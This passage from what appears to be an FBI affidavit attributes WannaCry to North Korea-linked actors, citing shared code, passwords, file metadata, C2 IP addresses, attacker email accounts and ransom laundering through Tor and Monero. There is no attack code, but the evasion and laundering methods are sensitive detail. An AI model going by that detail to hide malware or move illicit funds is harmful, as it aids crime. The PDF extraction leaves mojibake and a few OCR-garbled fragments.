state, then decrypted and executed from the computer\xe2\x80\x99s memory by another piece of malware (the \xe2\x80\x9cinstaller tool\xe2\x80\x9d). The encrypted form of the encryption tool in Version 1 is named \xe2\x80\x9ct.wry,\xe2\x80\x9d whereas in Version 2 it is named \xe2\x80\x9ct.wnry.\xe2\x80\x9d Most of the functions are nearly identical in each version of the encryption tool, with only minor changes that do not affect the overall manner in which it functions to encrypt victims\xe2\x80\x99 files. Version 0 does not have a separate encryption tool, but instead implements the encryption capability directly in the installer tool. However, the portions of the Version 0 installer tool implement the encryption functions in a nearly identical fashion to the encryption tools in Versions 1 and 2. b. The installer tools of Versions 0, 1, and 2 deploy a piece of malware (the \xe2\x80\x9cdecryption tool\xe2\x80\x9d) purportedly to decrypt the files of users who paid the ransom. The installer tool for Version 1 initially deploys the decryption tool with the filename \xe2\x80\x9cu.wry\xe2\x80\x9d before changing it to \xe2\x80\x9c!WannaDecryptor!.exe,\xe2\x80\x9d whereas Version 2 initially names it \xe2\x80\x9cu.wnry\xe2\x80\x9d before changing it to \xe2\x80\x9c@WannaDecryptor@.exe.\xe2\x80\x9d The decryption tool is implemented in a nearly identical fashion in each version, with only minor changes that do not affect the overall manner in which it functions to decrypt files of victims who have been confirmed to 112 mailto:WannaDecryptor@.exe "" P.,.t .. bo1tlWldon P..-,r ... be1wtdon 1'1'2131700.00.00 ln/2011(00000 1....,ltll I C:0(00000 '"""""" I 000000(0 Yw,.,_wll~JooltO'I YNNn\xe2\x80\xa2\xe2\x80\xa2lt>tlm., 11'112m10000.IICI 1/113n7CDOO.OII hr., l..!I I CO.CO.a:tOO '"""""" I ,..,.... '"""""""" --H,;,,,,1t,tq,~? Jc.,, --Ho-bb.\xe2\x80\xa2bil~'> '"""" c.-u, c.-u, have paid the ransom.33 Although the Version 0 decryption tool is somewhat simpler in certain respects, it contains very similar code to Versions 1 and 2 to decrypt files, and large portions of it are identical to portions of the later versions of the decryption tool. Furthermore, unlike other components of WannaCry that run in the background without the victim\xe2\x80\x99s awareness, the decryption tool has a visible user interface. As illustrated below, Versions 1 and 2 have a nearly identical interface. Decryption tool \xe2\x80\x93 Version 1 Decryption tool \xe2\x80\x93 Version 2 c. The source code for Versions 0 and 1 had not been publicly found or released before Version 2 was found infecting computers on May 12, 2017, based on my searches and searches by other FBI personnel of malware repositories, my communications with cyber security and antivirus companies who investigated WannaCry, and my review of published reports about WannaCry (which in the aggregate are the conclusions of companies that have significant visibility into the 33 Some anecdotal reports indicate that victims of WannaCry Version 2 were able to decrypt their files. E.g., https://qz.com/985093/inside-the-digital-heist-that- terrorized-the-world-and-made-less-than-100k/. A private sector security researcher reporting in open sources has confirmed that the malware is technically capable of decrypting a victim\xe2\x80\x99s files upon presenting the correct value of the decryption key. However, no automatic mechanism exists to associate a victim\xe2\x80\x99s payment information with her or his decryption key; the victims who were able to decrypt their files could only do so after contacting the actor(s) to provide proof of their payment. See: securingtomorrow.mcafee.com/executive- perspectives/wannacry-really-ransomware/. 113 https://qz.com/985093/inside-the-digital-heist-that http:ransom.33 presence and use of malware and some of which have monitored criminal forums). Consequently, for the reasons described above in paragraphs 184\xe2\x80\x93184.b, it is likely that the authors of Versions 0, 1, and 2 were either the same person or persons who shared access to the same source code. d. While the three versions of WannaCry (first observed in February, April, and May 2017, respectively) have some differences (hence, they are different versions), the versions are generally very similar to each other. The changes that have been made reflect \xe2\x80\x9cimprovements\xe2\x80\x9d in sophistication of the software. For example, Version 0 implemented essentially no safeguards to conceal its file encryption capabilities from either cyber security researchers or antivirus software, whereas Version 1 placed its encryption capabilities in a separate, encrypted module that is only decrypted when it is temporarily stored in the victim computer\xe2\x80\x99s memory in order to execute; Version 2 followed the exact paradigm as Version 1 in this respect.34 These changes, which involved more than simply minor modifications to the source code, would have been difficult to make without access to the source code, for the reasons discussed in paragraph 184\xe2\x80\x93184.b. The changes made in WannaCry Versions 1 and 2, made while retaining the common form and function attributes described above, are thus consistent with having been made by a person or persons with access to the source code for each earlier version, rather than by separate individuals or groups who had reverse-engineered it. 232. The three WannaCry versions also used similar passwords inside the malware: \xe2\x80\x9cwcry@123\xe2\x80\x9d; \xe2\x80\x9cwcry@2016\xe2\x80\x9d; and \xe2\x80\x9cWNcry@2ol7\xe2\x80\x9d. While this itself is not 34 While antivirus companies scan for known malicious files, many also employ heuristic analyses that seek to discover patterns of malware behavior that may indicate malicious activity, even if the specific file in which the behavior is exhibited is not already known. Here, because Version 1 placed its encryption capabilities into a separate, encrypted module, that module could not be examined as easily by many antivirus programs. In contrast, in Version 0 the encryption capabilities (i.e., that it would encrypt large portions of the victim\xe2\x80\x99s computer) were more \xe2\x80\x9cexposed\xe2\x80\x9d to antivirus analysis. 114 http:respect.34 conclusive, the fact that there are similarities in the passwords used is another factor suggesting that the same person(s) were responsible for each version of the malware. 233. Moreover, the FBI\xe2\x80\x99s Cyber Behavioral Analysis Center (\xe2\x80\x9cCBAC\xe2\x80\x9d) conducted a detailed analysis of the malware and associated files used in the WannaCry attack and found the following, concluding that all three versions of WannaCry were likely created by the same author(s): a. The WannaCry Versions 0, 1, and 2 were all compiled using Visual C++ 6.0. b. The computer used to create the ransomware language files had the Korean language fonts installed, as evidenced by the Rich Text Format (\xe2\x80\x9cRTF\xe2\x80\x9d) tag \xe2\x80\x9c\\fcharset129,\xe2\x80\x9d which is not typically included on a RTF file from a default Windows U.S. installation, but would be included on a RTF file from a default Windows Korean installation. Specifically, this tag indicates the presence of a Hangul (Korean) character set on the computer. In contrast, other character sets are accompanied by different \\fcharset numerical tags. c. The language files of each version contained an RTF tag \xe2\x80\x9c\\datastore\xe2\x80\x9d that held pertinent metadata in the form of hidden UTC timestamp \xe2\x80\x9cModifyTime,\xe2\x80\x9d which is stored as an 18-digit Lightweight Directory Access Protocol (\xe2\x80\x9cLDAP\xe2\x80\x9d) timestamp. A comparative analysis of this UTC timestamp against the standard RTF revision time \xe2\x80\x9c\\revtime\xe2\x80\x9d timestamp led the CBAC to conclude that the computer used to author the ransomware language files may have been set to the UTC +09:00 time zone, which is the time zone used in South Korea and formerly in North Korea. i. According to publicly available information, until August 2015, North Korea used the same time zone as South Korea, UTC +09:00. On August 15, 2015, the 70th anniversary of North Korea\xe2\x80\x99s liberation from Japan, the 115 government of North Korea began using Pyongyang Time (PYT), which is UTC +08:30. d. The ransomware language files were likely authored in English by a non-native English speaker. e. The ransom notes for Versions 1 and 2 were created using Microsoft Word 2007 or later, and the author and last person to edit the ransom note files in each of those Versions was listed as \xe2\x80\x9cMessi.\xe2\x80\x9d There were only slight differences in the verbiage and formatting between the two, and the metadata associated with the ransom note in Version 1 indicated that it had been edited for 156 minutes, while the metadata for the ransom note in Version 2 indicated it had been edited for only four minutes, suggesting that the ransom note for Version 1 had been used to create the ransom note for Version 2. 234. Finally, the Bitcoin ransom payments by victims of WannaCry Versions 1 and 2 were both transferred from a Bitcoin wallet to a cryptocurrency exchange using a browser with the same User-Agent string, and Bitcoin from victims of Version 1 and Version 2 were both transferred through some of the same cryptocurrency exchanges and ultimately converted to another cryptocurrency, Monero. Specifically, the subjects undertook the following transactions. a. Ransoms paid by victims of WannaCry Version 1 were paid into Bitcoin wallets. On July 20, 2017, a series of transactions occurred that moved all of the ransom payment proceeds from the Bitcoin wallets associated with WannaCry Version 1. After the funds were sent to a currency exchange, the funds were converted to Monero, another cryptocurrency. At least some of the transactions occurred from five IP addresses that have been identified as exit nodes 116 for the TOR network,35 and used the same browser User-Agent string \xe2\x80\x9cMozilla/5.0 (Windows NT 6.1.; rv:52.0.) Gecko/20100101 Firefox/52.0.\xe2\x80\x9d b. As with Version 1, ransoms paid by victims of WannaCry Version 2 were also paid into Bitcoin wallets. Estimates as of early-August 2017 indicate that approximately 330 victims paid the ransom demanded by WannaCry Version 2 totaling over $140,000. On August 3, 2017, the ransom payments from the victims of the WannaCry Version 2 ransomware were transferred from the original Bitcoin addresses to other cryptocurrency addresses in a series of transactions. As with the laundering of the ransoms associated with Version 1, following the Version 2 ransoms being sent to currency exchanges, the funds were converted to Monero. At least some of those transfers used IP addresses that have been identified as exit nodes for the TOR network, and used the same browser User- Agent string, \xe2\x80\x9cMozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0.\xe2\x80\x9d c. While a User-Agent string is not a particularly distinct identifier (like a fingerprint or a hash value would be), when User-Agent strings match across certain web activities, it can be an indication that the same user or computer may be conducting them. The specific User-Agent string observed in conducting the transfers (noted in paragraph 234.a) corresponds to the same browser used in an \xe2\x80\x9calpha\xe2\x80\x9d release of the TOR application at the time of the activity (meaning it was not fully tested and could be unstable), but it does not correspond to the browser then used in what is referred to as the \xe2\x80\x9cstable\xe2\x80\x9d version of the TOR application. The \xe2\x80\x9cstable\xe2\x80\x9d version is more widely used and is the version a user ordinarily downloads through the TOR website. Thus, while the IP addresses used to transfer the bitcoins were both TOR nodes, the User-Agent string shows that the computer(s) 35 \xe2\x80\x9cThe Onion Router,\xe2\x80\x9d also known as \xe2\x80\x9cTOR\xe2\x80\x9d or \xe2\x80\x9cTor,\xe2\x80\x9d is an anonymizing software that directs users\xe2\x80\x99 internet traffic through a random series of servers or nodes in order to obfuscate the origin of traffic. 117 used to effect the transfers from Version 1 and Version 2 used the same, less- common version of the TOR application to do so.36 235. Taken in sum, the evidence described above indicates that WannaCry Versions 0 and 1 were likely created by the same person or persons who created Version 2. C. Links Between WannaCry and Other Intrusions Described Above 236. The evidence also suggests that the person(s) who created WannaCry Versions 0 and 1 (and therefore WannaCry Version 2) were the same subjects responsible for other intrusions discussed in this affidavit, including the cyber- attack on SPE, intrusions at Bangladesh Bank and other financial institutions, and targeting of U.S. defense contractors. That evidence is discussed below. 237. First, the FakeTLS table discussed above in Part VIII.D.4 provides one of the strongest links between the subjects discussed in this affidavit and WannaCry. Specifically, the same FakeTLS table in WannaCry Version 0 was also found in all three samples of MACKTRUCK malware found at SPE, the MACKTRUCK malware found in a spear-phishing document sent to an individual who dealt with North Korean policy by one of the accounts that was linked to the targeting of Lockheed Martin, the Contopee backdoor used in the intrusions at the Philippine Bank,37 the Contopee backdoor used at the Southeast Asian Bank, and 36 That User-Agent string would also be generated by a user who happened to choose that specific version of Firefox, but the fact that it is a version used by the TOR application and a TOR IP address was used to effect the transfers indicates it is more likely the result of using the same version of the TOR application. 37 As noted in paragraph 179.d, there is a strong connection between the intrusions at the Philippine Bank and Bangladesh Bank. Specifically, the NESTEGG backdoor malware\xe2\x80\x94also found at Bangladesh Bank\xe2\x80\x94was deployed throughout the Philippine Bank\xe2\x80\x99s network in a computer intrusion from November of 2015 to January of 2016, shortly before the subjects sent the fraudulent SWIFT messages from Bangladesh Bank. These intrusions are also linked to the subjects, 118 the NESTEGG sample found at the Philippine Bank. For the reasons discussed in paragraphs 184\xe2\x80\x93184.b above, it is unlikely that the FakeTLS table would be in these versions of malware if the authors were not the same person or persons. 238. Second, in the May 22, 2017 Symantec research report, noted in paragraph 229, Symantec analyzed the first WannaCry-related attack it had identified from February 2017 (a WannaCry Version 0 attack) based in part on evidence obtained from the computer network of a victim. The report contained the following information: a. First, Symantec identified three samples of Lazarus Group malware on the victim\xe2\x80\x99s network, including two variants of Backdoor.Destover, which was also used against SPE (see paragraph 89), and one variant of Trojan.Volgmer, which Symantec identified in a December 2014 blog post38 as being used against South Korean victims and linked to malware used against SPE. b. Second, WannaCry Version 1 was observed by Symantec as being spread by malware called Trojan.Alphanc and Trojan.Bravonc, which Symantec described as a modified version of Backdoor.Duuzer, a common Lazarus Group malware family. Several tools that were used in the February 2017 WannaCry Version 0 attack were also used in the March to April 2017 WannaCry Version 1 attacks, including a credential dumper called mks.exe and a dropper tool that was renamed from hptasks.exe to bcremote.exe. c. Third, the above-mentioned Trojan.Bravonc associated with WannaCry Version 1 used a Saudi Arabian IP address, 87.101.243.252, for command-and-control purposes. That same Saudi Arabian IP address was also used by some samples of the aforementioned Lazarus Group tools Backdoor.Duuzer and thus together, by the DDNS accounts managed by the same device or devices, which were discussed in paragraphs 165\xe2\x80\x93166. 38 https://www.symantec.com/connect/blogs/destover-destructive-malware- has-links-attacks-south-korea 119 https://www.symantec.com/connect/blogs/destover-destructive-malware and Backdoor.Destover. (As discussed in more detail in paragraph 240.b, that same Saudi Arabian IP address, and others used by WannaCry Version 1, were compromised by the Brambul worm and used by the subjects of the investigation.) d. Fourth, Trojan.Bravonc, which was used to spread WannaCry Version 1, obfuscated parts of its code in a way similar to WannaCry Version 1. Those two samples\xe2\x80\x94Trojan.Bravonc and WannaCry Version 1\xe2\x80\x94also obfuscated their code in a similar way to Infostealer.Fakepude, which Symantec previously identified as being used by the Lazarus Group. (For example, obfuscating code can include concealing the types of \xe2\x80\x9csystem calls\xe2\x80\x9d to cause particular functions in the operating system to be performed, so that what the executable file is doing is more difficult to discern.) A malware report39 on Infostealer.Fakepude shows that this malware used the DDNS domains checkupdates.flashserv.net, download.ns360.info, and update.craftx.biz. i. These three domains were previously identified by Symantec in July 2016 as being related to the Contopee backdoor used in the intrusions of financial institutions. They were all hosted by a DDNS provider, where one or more had been controlled at one time or another by accounts registered using four different email addresses since at least November 2013. ii. Those same four email accounts also had all been used to register for accounts at a different DDNS provider, which accounts were accessed using the same device or devices that were used to access the accounts that controlled the domains used in the intrusions at multiple banks, identified above in paragraphs 165\xe2\x80\x93166. For example, an email account that controlled two of the above domains used in Infostealer.Fakepude (download.ns360.info and 39 https://www.symantec.com/security_response/writeup.jsp?docid=2016- 040409-4542-99&tabid=2 120 https://www.symantec.com/security_response/writeup.jsp?docid=2016 http:checkupdates.flashserv.net update.craftx.biz) was also in control of two domains (repview.ignorelist.com and statis.ignorelist.com) used in a version of Contopee found at the Philippine Bank. e. Fifth, Symantec and BAE Systems identified shared code between WannaCry Version 0 and the Contopee sample referenced in paragraph 183 (used by the Lazarus Group) in reports dated May 22, 2016 and May 16, 2017, respectively.40 Symantec identified one version of Contopee that used a custom communication protocol that was intended to look like Secure Socket Layer (\xe2\x80\x9cSSL\xe2\x80\x9d) or TLS that used an identical cipher suite as WannaCry Version 0. (Although one report referred to a single cipher suite, the malware generates a list of cipher suites, as described in more detail in paragraph 183\xe2\x80\x93183.d.) i. The cipher suite is what is generated using the FakeTLS data table discussed above in Part VIII.D.4. Thus, the Symantec report cited not only the existence of the FakeTLS data table within the code, but also that WannaCry Version 0 uses the data table for FakeTLS communications, as does a version of Contopee. ii. In Version 0, this FakeTLS communication protocol was used to report back to the subjects\xe2\x80\x99 command-and-control infrastructure, for example to confirm and identify a victim that had been infected and to upload private keys. Subsequent versions of WannaCry used the TOR network for this function instead of FakeTLS. 239. The links between toolsets and shared code identified by Symantec and other researchers are significant and demonstrate an evolution of the attack tools used by the subjects over the course of several years. For the same reasons described above in paragraph 184\xe2\x80\x93184.b, it would be difficult for a new malware 40 https://www.symantec.com/connect/blogs/wannacry-ransomware-attacks- show-strong-links-lazarus-group; http://baesystemsai.blogspot.com/2017/05/ wanacrypt0r-ransomworm.html. 121 http://baesystemsai.blogspot.com/2017/05 https://www.symantec.com/connect/blogs/wannacry-ransomware-attacks http:respectively.40 http:statis.ignorelist.com http:repview.ignorelist.com author(s) to simply cannibalize or re-use portions of existing WannaCry code even if the author(s) had access to the earlier versions of WannaCry, making it unlikely that new author(s) are responsible for these similarities. Rather, it is much more likely that the same persons with access to the same common library of source code generated each malware. Additionally, many of the sections of code used in these malware versions have been analyzed for uniqueness, and one private security company has stated to the FBI that particular snippets of code used in WannaCry only appear in malware that has been used by or attributed to the Lazarus Group. 240. Third, as discussed below, malware discussed above that is connected to WannaCry Version 1 has also used IP addresses that the particular subjects of this investigation have successfully compromised and used for malicious purposes. Specifically: a. Both a WannaCry sample and Trojan.Alphanc used IP address 84.92.36.96 as a command-and-control IP address, according to Appendix A of the May 22, 2017 Symantec report. (That IP address was also a command-and-control address for a sample of malware obtained by the FBI that drops a malware payload in a similar way to how other malware that private cyber security companies have attributed to the Lazarus Group,41 as well as malware that the subjects used to target Lockheed Martin.) On February 29 and March 1, 2016, a North Korean IP Address connected to that IP address. This North Korean IP address, the same IP address referenced in footnote 1, was used during the shift in IP addresses from January 2016\xe2\x80\x93March 2016. Specifically, this North Korean IP address was used to access the Compromised Web Server, on January 8, 2016; on January 22 and 27, 2016, it also connected to a compromised computer in North Carolina that was infected with malware linked to the attack on SPE; and, on March 10, 2016, it was 41 https://researchcenter.paloaltonetworks.com/2017/04/unit42-the- blockbuster-sequel/ 122 https://researchcenter.paloaltonetworks.com/2017/04/unit42-the http:84.92.36.96 used to access a Facebook profile that previously had been accessed from North Korean IP Address #2 on December 13, 2015. b. As noted above in paragraph 238.c, Trojan.Bravonc was used in connection with WannaCry Version 1 and it used as a command-and-control server a Saudi Arabian IP address, 87.101.243.252; this same IP address was used by Backdoor.Duuzer and Backdoor.Destover, which have been linked to the Lazarus Group. Of note, this Saudi Arabian IP address had been compromised by the Brambul worm and thus was accessible to the subjects of this investigation since at least April 2015. Specifically, on April 9, 2015, whiat1001@gmail.com, one of the Brambul collector email accounts, received an email with a subject of \xe2\x80\x9c87.101.243.252|[USERNAME REDACTED]|[PASSWORD REDACTED],\xe2\x80\x9d and on June 25, 2015, mrwangchung01@gmail.com, another Brambul collector email account, received an email with a subject of \xe2\x80\x9c87.101.243.252|[USERNAME REDACTED]|[PASSWORD REDACTED]|[OPERATING SYSTEM AND OTHER SYSTEM DETAILS REDACTED].\xe2\x80\x9d On August 12, 2015, the subjects used the same compromised IP address to create the email account rasel.aflam@gmail.com, which was used to send spear-phishing emails to numerous banks in Bangladesh. These spear-phishing emails were virtually identical to those sent to Bangladesh Bank in August 2015. (See paragraphs 148\xe2\x80\x93149 and 162\xe2\x80\x93163.) c. The U.S. IP address 184.74.243.67, which is listed in Appendix A of the May 22, 2017 Symantec report, is identified as a command-and-control IP address for Trojan.Alphanc, which was used to spread WannaCry Version 1. This U.S. IP address was also used to access the email account jonnie.jemison@gmail.com on nine separate days between August and November 2016. During roughly the same period of time (September to November 2016), North Korean IP Address #6 was also used to access jonnie.jemison@gmail.com. Jonnie.jemison@gmail.com used a recovery email address of 123 mailto:Jonnie.jemison@gmail.com mailto:jonnie.jemison@gmail.com mailto:jonnie.jemison@gmail.com http:184.74.243.67 mailto:rasel.aflam@gmail.com mailto:mrwangchung01@gmail.com mailto:whiat1001@gmail.com changtony1989@hanmail.net, which was used to create a Facebook account used by the subjects for reconnaissance. That particular Facebook account was also accessed by an IP address that appeared in the subject line of an email received by a Brambul collector email account (meaning that Brambul had compromised that IP address), and had been accessed by two other IP addresses that were used to directly access one of the Brambul collector email accounts. d. The South African IP address 196.45.177.52 is listed in Appendix A of the May 22, 2017 Symantec report as one used by a backdoor and as making up part of the \xe2\x80\x9cWannaCry and Lazarus shared network infrastructure.\xe2\x80\x9d That IP address, along with a compromised username and password, appeared in the subject of an email sent on June 23, 2015 to xiake722@gmail.com (a Brambul collector email account) indicating the subjects had access to that IP address since June 2015. 241. Fourth, as mentioned above, FBI\xe2\x80\x99s CBAC determined that WannaCry Versions 0, 1, and 2 were all created using Visual C++ 6.0. Moreover, BAE Systems42 has determined that this same development environment\xe2\x80\x94Visual C++ 6.0\xe2\x80\x94was used to create malware used in the Bangladesh Bank cyber-heist and the intrusion at the Vietnamese Bank. This alone is not a dispositive link, as Visual C++ 6.0, released in 1998, still has proponents mostly because it does not require the installation of Microsoft\xe2\x80\x99s .NET framework in order to run, as later versions of Visual C++ do. However, based on my own review of malware and my communications with FBI computer scientists and private security companies, I know that the majority of malware attributed to North Korea was created using Visual C++ 6.0 when the malware is 32-bit, as the WannaCry versions are (and is created using Visual C++ 10.0 when the malware is 64-bit). (As noted below in 42 https://baesystemsai.blogspot.com/2017/05/wanacrypt0r-ransomware.html 124 https://baesystemsai.blogspot.com/2017/05/wanacrypt0r-ransomware.html mailto:xiake722@gmail.com http:196.45.177.52 mailto:changtony1989@hanmail.net paragraph 282, PARK\xe2\x80\x99s r\xc3\xa9sum\xc3\xa9 indicated that he was skilled in Visual C++.) This is thus another similarity between all versions of WannaCry and the other malware discussed in this affidavit. D. Evidence Shows Subjects Were Following Exploit Development 242. Records that I have obtained show that the subjects of this investigation were monitoring the release of the CVE-2017-0144 exploit and the efforts by cyber researchers to develop the source code that was later packaged into WannaCry Version 2: a. On numerous days between March 23 and May 12, 2017, a subject using North Korean IP Address #6 visited technet.microsoft.com, the general domain where Microsoft hosted specific webpages that provide information about Microsoft products, including information on Windows vulnerabilities (including CVE-2017-0144), although the exact URL or whether the information on this particular CVE was being accessed is not known. b. On April 23, April 26, May 10, May 11, and May 12, 2017, a subject using North Korean IP Address #6 visited the blog website zerosum0x0.blogspot.com, where, on April 18, 2017 and 21, 2017, a RiskSense researcher had posted information about research into the CVE-2017-0144 exploit and progress on reverse-engineering the exploit; RiskSense subsequently released the exploit code on GitHub.com. 243. Finally, as noted above in paragraph 233.e, the name of the authors listed in the metadata of ransomware language files for both Version 1 and Version 2 was \xe2\x80\x9cMessi.\xe2\x80\x9d The subjects of this investigation have also used the name of soccer star Lionel Messi\xe2\x80\x94specifically, in the creation of an email account messilionel.messi2015@yandex.com, which was used as a recovery email address for jamesmartin20162016@gmail.com. According to records from Google, jamesmartin20162016@gmail.com used the Korean language setting. 125 mailto:jamesmartin20162016@gmail.com mailto:jamesmartin20162016@gmail.com mailto:messilionel.messi2015@yandex.com http:GitHub.com http:zerosum0x0.blogspot.com http:technet.microsoft.com a. Jamesmartin20162016@gmail.com was created on October 22, 2015 from North Korean IP Address #2. As noted above in paragraph 197.c, the Compromised Web Server was accessed from North Korean IP Address #2 in February, April, May, June, July, and December 2015, both before and after it was used to create jamesmartin20162016@gmail.com. That North Korean IP address had also been used to access the email account jongdada02@gmail.com in May 2015 and August 2015. (See paragraphs 216\xe2\x80\x93217.) b. Jamesmartin20162016@gmail.com was accessed on May 24, 2016 from North Korean IP Address #6. That same North Korean IP address was used the next two days, May 25 and 26, 2016, to access the @erica_333u Twitter account that posted a malicious link targeting \xe2\x80\x9cThe Interview\xe2\x80\x9d and actors in it (see paragraph 111). As noted above in paragraph 197.c., the Compromised Web Server was accessed from North Korean IP Address #6 on March 22, 2016, two months before it was used to access jamesmartin20162016@gmail.com. 244. Taken in sum, this evidence indicates that the subjects discussed in this affidavit were responsible for the cyber-attack against SPE, computer intrusions of Bangladesh Bank and other financial institutions, and targeting of U.S. defense contractors, as well as for authoring WannaCry Versions 0, 1, and 2. XI. THE \xe2\x80\x9cKIM HYON WOO\xe2\x80\x9d PERSONA 245. This Part discusses the subjects\xe2\x80\x99 use of the persona of \xe2\x80\x9cKim Hyon Woo,\xe2\x80\x9d and variants of that name, in opening numerous email and social media accounts. The subjects of the investigation have used those accounts (and that persona) in connection with the attack on SPE, cyber-heists against financial institutions, and targeting of U.S. defense contractors. While this Part (Part XI) describes the accounts using the alias \xe2\x80\x9cKim Hyon Woo\xe2\x80\x9d and their connections to some of the operational infrastructure described above, the following Part (Part XII) describes Chosun Expo Accounts used by or connected to PARK. Part XII details 126 mailto:jamesmartin20162016@gmail.com mailto:Jamesmartin20162016@gmail.com mailto:jongdada02@gmail.com mailto:jamesmartin20162016@gmail.com mailto:Jamesmartin20162016@gmail.com the connections between the \xe2\x80\x9cKim Hyon Woo\xe2\x80\x9d accounts and the Chosun Expo Accounts that in turn are connected to PARK. 246. It is important to note that according to FBI Korean linguists, the Korean character \xe2\x80\x9c\xec\x9a\xb0\xe2\x80\x9d can be translated to English as \xe2\x80\x9cWoo,\xe2\x80\x9d \xe2\x80\x9cWu,\xe2\x80\x9d or \xe2\x80\x9cU.\xe2\x80\x9d As described in this section, the subjects have used both the Korean character \xe2\x80\x9c \xec\x9a\xb0\xe2\x80\x9d and the English transliterations \xe2\x80\x9cWoo,\xe2\x80\x9d \xe2\x80\x9cWu,\xe2\x80\x9d and \xe2\x80\x9cU\xe2\x80\x9d\xe2\x80\x94sometimes interchangeably\xe2\x80\x94 when making \xe2\x80\x9cKim Hyon Woo\xe2\x80\x9d alias accounts. Given the multiple possible transliterations, where this affidavit describes evidence containing the character \xe2\x80\x9c\xec\x9a\xb0,\xe2\x80\x9d it is translated as \xe2\x80\x9cWoo.\xe2\x80\x9d A. tty198410@gmail.com 247. As discussed above, tty198410@gmail.com was used to subscribe the \xe2\x80\x9cAndoson David\xe2\x80\x9d Facebook account, watsonhenny@gmail.com, MrDavid0818@gmail.com, and @hyon_u. It was accessed by the same device as watsonhenny@gmail.com, yardgen@gmail.com, and the Brambul collector account mrwangchung01@gmail.com. And it exchanged test spear-phishing messages with yardgen@gmail.com and jasmuttly@daum.net. 248. Provider records show that tty198410@gmail.com was created on September 1, 2011, using the name \xe2\x80\x9cK YM,\xe2\x80\x9d and a recovery email address of hyon_u@hotmail.com, and from September 2014 through May 2015 was accessed exclusively from Proxy Service IP addresses. The time zone settings in the account\xe2\x80\x99s calendar were set to Asia / Pyongyang (the capital of North Korea). 249. Provider records show that the account was consistently used with the name \xe2\x80\x9cKim Hyon Woo\xe2\x80\x9d and variants thereof. For example, in November 2013, tty198410@gmail.com was used to sign-up for an account at Rapid 7\xe2\x80\x94a security and analytics company that offers the widely-used network penetration testing platform Metasploit\xe2\x80\x94under the names \xe2\x80\x9ckim hyonw\xe2\x80\x9d and \xe2\x80\x9ckim hyon woo.\xe2\x80\x9d At one point, Rapid 7 terminated connections for the tty198410@gmail.com account because the 127 http:tty198410@gmail.com http:tty198410@gmail.com http:hyon_u@hotmail.com http:tty198410@gmail.com http:jasmuttly@daum.net http:yardgen@gmail.com http:mrwangchung01@gmail.com http:yardgen@gmail.com http:watsonhenny@gmail.com http:MrDavid0818@gmail.com http:watsonhenny@gmail.com http:tty198410@gmail.com http:tty198410@gmail.com connections originated from a North Korean IP address and from an IP address in the Chinese block 210.52.109.0\xe2\x80\x93210.52.109.255 that is used by North Korea. A later connection was allowed from an IP address that was not in the North Korean IP block or this Chinese IP block. In another example, tty198410@gmail.com was used to create a profile at a cyber security company\xe2\x80\x99s website with a user name of \xe2\x80\x9cKim HyonWu.\xe2\x80\x9d B. hyon_u@hotmail.com 250. Hyon_u@hotmail.com was used as the recovery email for tty198410@gmail.com. It was created on April 13, 2007, used Korean language resources, listed a location of Seoul, Korea, and used a name of \xed\x98\x84\xec\x9a\xb0 \xea\xb9\x80 , which translates to \xe2\x80\x9cHyon Woo Kim\xe2\x80\x9d or \xe2\x80\x9cKim Hyon Woo.\xe2\x80\x9d 251. The FBI discovered that hyon_u@hotmail.com was used to subscribe an account at a foreign software development website on April 23, 2007, where it used the name \xe2\x80\x9c \xea\xb9\x80\xed\x98\x84\xec\x9a\xb0,\xe2\x80\x9d which translates to \xe2\x80\x9cKim Hyon Woo.\xe2\x80\x9d That account was accessed using several North Korean IP addresses. Provider records show that the account at that website, hosted in a foreign country, was accessed primarily from North Korean IP addresses (including North Korean IP Address #2 on February 25, 2014) or the Proxy Services, and that it viewed articles on topics related to hacking and computer software, like injecting code into a portable executable file, and hiding executable code within an image file. (Tty198410@gmail.com also created an account with the same website in June 2014 and only used it during that month. The name used to create that account shared similarities with the names of multiple other email addresses used by the subjects for spear-phishing, including [JG NAME REDACTED]@gmail.com and agena316@gmail.com (see paragraph 130.a and 130.b).) 128 http:agena316@gmail.com http:REDACTED]@gmail.com http:Tty198410@gmail.com http:hyon_u@hotmail.com http:tty198410@gmail.com http:Hyon_u@hotmail.com http:hyon_u@hotmail.com http:tty198410@gmail.com C. hyonwoo01@gmail.com 252. Two other accounts besides tty198410@gmail.com are known to have used hyon_u@hotmail.com in their subscriber records. The first was hyonwoo01@gmail.com, which was created in 2011 using the previously mentioned Korean name that translates to \xe2\x80\x9cKim Hyon Woo.\xe2\x80\x9d The subject using that account conducted internet research regarding computer programming-related terms, including in March 2011 related to VC++, which appears to be a reference to the Visual C++ software development environment, discussed above in paragraph 241. 253. Significantly, on March 16, 2011, hyonwoo01@gmail.com received a series of emails from a spoofed email account (xxxx@gmail.com) that attached a number of files. An FBI computer scientist was able to reconstruct the files attached to those separate emails into one database, which the computer scientist was able to determine had contained a significant amount of deleted data that was able to be recovered using a data recovery tool. The recovered database contained tables labeled Agent, Object, Proxy, and Server. The \xe2\x80\x9cAgent\xe2\x80\x9d table appeared to contain names/identifiers of computers controlling other computers (i.e., a command-and-control computer). The \xe2\x80\x9cObject\xe2\x80\x9d and \xe2\x80\x9cServer\xe2\x80\x9d tables contained a number of columns about individual computers (such as a MAC address) which seemingly reflected compromised computers; a column titled \xe2\x80\x9cTroyVersion,\xe2\x80\x9d and the Server table contained a column titled \xe2\x80\x9cTroyPort.\xe2\x80\x9d These columns \xe2\x80\x9cTroyVersion\xe2\x80\x9d and \xe2\x80\x9cTroyPort\xe2\x80\x9d appear to contain data related to particular versions or computer port numbers used by the installed malware, and the values were either blank, 0, 1, 153, 163, 65537, 65538, or 131074. In a column of the Server table called \xe2\x80\x9cSpecial,\xe2\x80\x9d several entries in the database have what appear to be notes written by the database author, with some entries containing notes such as \xe2\x80\x9cvnc worm, proxymini- 3128(sqlsrv32.exe),\xe2\x80\x9d \xe2\x80\x9cproxymini-443(ccEvtSrv.exe),\xe2\x80\x9d and \xe2\x80\x9cver 1.0, 129 mailto:xxxx@gmail.com mailto:hyonwoo01@gmail.com mailto:hyonwoo01@gmail.com mailto:hyon_u@hotmail.com mailto:tty198410@gmail.com mailto:hyonwoo01@gmail.com ccEvtSrv.exe(proxymini), reproxy-443(nod32krn.exe).\xe2\x80\x9d (\xe2\x80\x9cProxymini,\xe2\x80\x9d is a legitimate proxy server application, and is discussed further in paragraph 333.g.) 254. In 2013, two years after these emails containing the tables were sent to hyonwoo01@gmail.com, cyber security researchers at McAfee Labs authored a report on multiple cyber-attacks between 2009 and 2013 targeting victims in 